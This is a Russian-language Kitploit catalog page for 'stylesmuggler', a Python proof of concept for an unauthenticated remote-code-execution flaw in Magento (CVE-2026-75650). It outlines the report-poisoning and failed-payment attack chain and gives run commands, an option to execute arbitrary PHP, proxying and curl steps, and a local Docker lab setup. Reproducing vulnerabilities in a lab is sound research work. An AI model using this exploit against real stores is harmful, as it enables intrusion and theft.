Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
stylesmuggler — Python PoC, воспроизводящий CVE-2026-75650 StyleSmuggler — неаутентифицированное RCE в Magento через отравление отчётов и рендеринг неудачных платежей, с проверкой canary. | Kitploit
Инструменты/GitHubGitHub/fortbridge/stylesmuggler
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubfortbridge/stylesmuggler

stylesmuggler

Python PoC, воспроизводящий CVE-2026-75650 StyleSmuggler — неаутентифицированное RCE в Magento через отравление отчётов и рендеринг неудачных платежей, с проверкой canary.

Репозиторий
9 ч 33 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

StyleSmuggler HTTP PoC

Приватный исследовательский репозиторий для воспроизведения StyleSmuggler исключительно по HTTP, CVE-2026-75650, против локального лабораторного стенда Magento Open Source.

Полное техническое описание читайте в Magento StyleSmuggler RCE: Report Poisoning to Code Execution.

Python PoC выполняет полную неаутентифицированную последовательность:

  1. отравляет отчёт об ошибке Magento и считывает его report ID из ответа;
  2. создаёт гостевую корзину;
  3. задаёт гостевой email, необходимый для уведомления о неудачном платеже;
  4. сохраняет вложенную конструкцию парсера billing-адреса;
  5. запускает рендеринг неудачного платежа с type, text и styles в строке запроса;
  6. получает свежий canary для каждого запуска по HTTP.

Он никогда не копирует helper в контейнер и не вызывает сканер через Docker. Достаточно стандартной библиотеки Python.

Запуск против существующего стенда

root@kitploit:~
python3 exploit.py --target http://localhost:18082

Итоговый вывод должен содержать RCE VERIFIED и тот же свежий маркер , напечатанный ранее в этом запуске. Существующий canary не может удовлетворить проверку, поскольку каждый запуск генерирует новый маркер.

STYLESMUGGLER_RUN_...

Путь к отчёту должен быть путём, видимым процессу PHP на целевой системе. Переопределите его, если Magento использует другой document root:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --report-dir /srv/magento/var/report

Пользовательский PHP

Передавайте PHP-инструкции без <?php или ?>:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'

curl -sS http://localhost:18082/custom-test.txt

PoC записывает свой свежий маркер верификации перед выполнением переданного фрагмента и по-прежнему проверяет этот маркер после.

Burp

Каждый запрос, включая отравление отчёта и финальное получение canary, можно отправлять через HTTP-прокси:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --proxy http://127.0.0.1:8082

Добавьте --proxy-insecure для HTTPS-цели, перехваченный сертификат которой не доверяется Python.

Ручной поток curl

curl_failed_payment.sh выполняет четыре запроса Stage 2 и помечает компонент Magento, задействованный каждым запросом. Требуются curl, jq и openssl:

root@kitploit:~
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Задайте другую цель или слушатель Burp через переменные окружения:

root@kitploit:~
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Локальная цель

docker-compose.yml предоставляет изолированные сервисы MySQL, OpenSearch и PHP/Apache на 127.0.0.1:18082. Он ожидает установленное дерево исходников Magento по пути ./magento2-src.

Финальная чистая валидация использовала коммит Magento:

root@kitploit:~
f8405be831efa461ec18cc5a637cd98afa767015

Клонируйте исходники и установите их зависимости Composer перед запуском обычного процесса setup:install Magento:

root@kitploit:~
git clone --filter=blob:none --branch 2.4-develop \
  https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015

docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction

После установки Magento с хостом базы данных db, хостом OpenSearch opensearch и базовым URL http://localhost:18082/ запустите веб-сервис:

root@kitploit:~
docker compose up -d web
docker compose ps
Скачать инструмент